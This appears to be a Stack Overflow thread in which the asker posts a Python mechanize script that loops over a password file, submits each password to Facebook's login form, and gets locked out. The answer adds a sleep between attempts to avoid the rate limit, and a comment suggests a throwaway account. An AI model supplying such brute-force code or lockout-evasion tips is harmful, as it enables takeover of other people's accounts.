-1

I was locked out of my Facebook account for a few hours after I tried to make a script get my password (I already know my account's password). Do I have a problem in my python script, or is the way I tried to use it wrong?

Script:

passwordsfile = open('file.txt','r')
for pwd in psswordsfile.read():
    br = mechanize.Browser()
    br.set_handle_robots(False)
    br.addheader = ['User-Agent','Firefox']
    br.open('https://www.facebook.com')
    br.select_form(nr=0)
    br.form['email'] = "emai@..."
    br.form['pass'] = pwd
    sub = br.submit()
    print sub.geturl()
Nathan Smith
  • 683
  • 1
  • 10
  • 24
alan
  • 3
  • 1

1 Answers1

0

This error is straightforward. "trying too often" means you are sending too many requests in X amount of time. You should sleep between iterations.

from time import sleep

passwordsfile = open('file.txt','r')
for pwd in psswordsfile.read():
    br = mechanize.Browser()
    br.set_handle_robots(False)
    br.addheader = ['User-Agent','Firefox']
    br.open('https://www.facebook.com')
    br.select_form(nr=0)
    br.form['email'] = "emai@..."
    br.form['pass'] = pwd
    sub = br.submit()
    print sub.geturl()
    sleep(5)  # 5 seconds

Depending on the number of iterations you have, 5 seconds might not be enough. This is a matter of trial and error.

DeepSpace
  • 78,697
  • 11
  • 109
  • 154
  • It might also be wise to use a "throw-away" account. I doubt Facebook likes people scripting things against their site (without an API anyways, which I doubt they supply) and, if they detect this, may ban the account. If [Alan](https://stackoverflow.com/users/8202639/alan) has anything of value on that account, it could be lost. – Nathan Smith Aug 01 '17 at 14:31
  • thanks but sleep for 5 seconds did not works for me and egain my account is closed – alan Aug 01 '17 at 14:36
  • 2
    @alan Let me quote myself: "Depending on the number of iterations you have, 5 seconds might not be enough. This is a matter of trial and error." – DeepSpace Aug 01 '17 at 14:36
  • what would you like to do if you were in my situation – alan Aug 01 '17 at 14:40
  • 1
    @alan I'd probably not be abusing Facebook's servers to begin with. – DeepSpace Aug 01 '17 at 14:41